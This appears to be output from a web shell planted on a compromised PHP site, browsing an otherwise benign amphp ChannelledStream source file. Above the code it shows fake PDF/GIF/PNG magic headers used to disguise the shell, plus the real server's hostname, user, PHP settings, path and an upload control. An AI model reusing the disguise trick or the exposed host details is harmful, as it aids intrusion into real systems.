%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/public_html/admin1/vendor/amphp/parallel/lib/Sync/ |
Upload File : |
<?php
namespace Amp\Parallel\Sync;
use Amp\ByteStream\InputStream;
use Amp\ByteStream\OutputStream;
use Amp\ByteStream\StreamException;
use Amp\Promise;
use Amp\Serialization\Serializer;
use function Amp\call;
/**
* An asynchronous channel for sending data between threads and processes.
*
* Supports full duplex read and write.
*/
final class ChannelledStream implements Channel
{
/** @var InputStream */
private $read;
/** @var OutputStream */
private $write;
/** @var \SplQueue */
private $received;
/** @var ChannelParser */
private $parser;
/**
* Creates a new channel from the given stream objects. Note that $read and $write can be the same object.
*
* @param InputStream $read
* @param OutputStream $write
* @param Serializer|null $serializer
*/
public function __construct(InputStream $read, OutputStream $write, ?Serializer $serializer = null)
{
$this->read = $read;
$this->write = $write;
$this->received = new \SplQueue;
$this->parser = new ChannelParser([$this->received, 'push'], $serializer);
}
/**
* {@inheritdoc}
*/
public function send($data): Promise
{
return call(function () use ($data): \Generator {
try {
return yield $this->write->write($this->parser->encode($data));
} catch (StreamException $exception) {
throw new ChannelException("Sending on the channel failed. Did the context die?", 0, $exception);
}
});
}
/**
* {@inheritdoc}
*/
public function receive(): Promise
{
return call(function (): \Generator {
while ($this->received->isEmpty()) {
try {
$chunk = yield $this->read->read();
} catch (StreamException $exception) {
throw new ChannelException("Reading from the channel failed. Did the context die?", 0, $exception);
}
if ($chunk === null) {
throw new ChannelException("The channel closed unexpectedly. Did the context die?");
}
$this->parser->push($chunk);
}
return $this->received->shift();
});
}
}